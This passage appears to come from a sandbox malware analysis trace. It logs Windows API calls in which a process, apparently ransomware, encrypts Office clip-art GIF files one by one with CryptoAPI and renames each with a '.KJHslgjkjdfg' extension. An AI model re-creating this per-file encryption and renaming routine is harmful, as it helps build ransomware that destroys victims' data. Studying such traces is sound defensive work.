[0192.821] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.822] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.822] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.822] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.822] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.822] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.822] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.822] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2a7, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2a7, lpOverlapped=0x0) returned 1 [0192.822] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2b0, dwBufLen=0x2b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2b0) returned 1 [0192.822] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.822] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2b0, lpOverlapped=0x0) returned 1 [0192.822] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.822] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.822] SetEndOfFile (hFile=0x114) returned 1 [0192.825] GetProcessHeap () returned 0x2a0000 [0192.825] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.825] GetProcessHeap () returned 0x2a0000 [0192.825] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.825] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif.kjhslgjkjdfg")) returned 1 [0192.827] CloseHandle (hObject=0x114) returned 1 [0192.827] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0242a00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0242a00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01294_.GIF", cAlternateFileName="")) returned 1 [0192.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.828] GetProcessHeap () returned 0x2a0000 [0192.828] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.829] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.829] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.829] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x3, lpOverlapped=0x0) returned 1 [0192.830] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.830] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.830] GetProcessHeap () returned 0x2a0000 [0192.830] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.830] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.830] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.830] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.831] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.831] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.831] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.831] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.831] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.831] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.831] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.831] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.831] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2ad, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2ad, lpOverlapped=0x0) returned 1 [0192.831] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2b0, dwBufLen=0x2b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2b0) returned 1 [0192.831] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.832] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2b0, lpOverlapped=0x0) returned 1 [0192.832] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.832] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.832] SetEndOfFile (hFile=0x114) returned 1 [0192.834] GetProcessHeap () returned 0x2a0000 [0192.834] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.834] GetProcessHeap () returned 0x2a0000 [0192.834] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.834] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif.kjhslgjkjdfg")) returned 1 [0192.836] CloseHandle (hObject=0x114) returned 1 [0192.836] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3725d200, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3725d200, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x161, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01295_.GIF", cAlternateFileName="")) returned 1 [0192.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.837] GetProcessHeap () returned 0x2a0000 [0192.837] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.838] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.838] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.838] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xf, lpOverlapped=0x0) returned 1 [0192.839] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.839] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.839] GetProcessHeap () returned 0x2a0000 [0192.839] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.839] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.839] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.840] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.840] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.840] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.840] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.840] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.840] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.840] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.840] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.840] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.840] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x161, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x161, lpOverlapped=0x0) returned 1 [0192.840] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x170, dwBufLen=0x170 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x170) returned 1 [0192.840] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.840] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x170, lpOverlapped=0x0) returned 1 [0192.841] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.841] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.841] SetEndOfFile (hFile=0x114) returned 1 [0192.844] GetProcessHeap () returned 0x2a0000 [0192.844] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.844] GetProcessHeap () returned 0x2a0000 [0192.844] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.844] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif.kjhslgjkjdfg")) returned 1 [0192.847] CloseHandle (hObject=0x114) returned 1 [0192.847] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x997dd300, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x997dd300, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x1ef, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01296_.GIF", cAlternateFileName="")) returned 1 [0192.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.849] GetProcessHeap () returned 0x2a0000 [0192.849] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.849] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.849] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.849] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x1, lpOverlapped=0x0) returned 1 [0192.850] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.850] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.850] GetProcessHeap () returned 0x2a0000 [0192.850] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.850] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.850] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.851] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.851] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.851] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.851] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.851] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.851] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.851] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.851] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.851] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.851] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1ef, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1ef, lpOverlapped=0x0) returned 1 [0192.851] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f0) returned 1 [0192.851] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.851] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1f0, lpOverlapped=0x0) returned 1 [0192.852] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.852] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.852] SetEndOfFile (hFile=0x114) returned 1 [0192.854] GetProcessHeap () returned 0x2a0000 [0192.854] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.854] GetProcessHeap () returned 0x2a0000 [0192.854] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.854] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif.kjhslgjkjdfg")) returned 1 [0192.858] CloseHandle (hObject=0x114) returned 1 [0192.858] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9387f200, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9387f200, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01297_.GIF", cAlternateFileName="")) returned 1 [0192.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.860] GetProcessHeap () returned 0x2a0000 [0192.860] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.860] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.860] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.861] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0192.863] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.863] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.863] GetProcessHeap () returned 0x2a0000 [0192.863] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.863] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.863] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.863] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.863] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.863] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.863] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.863] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.864] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.864] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.864] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.864] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.864] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x37e, 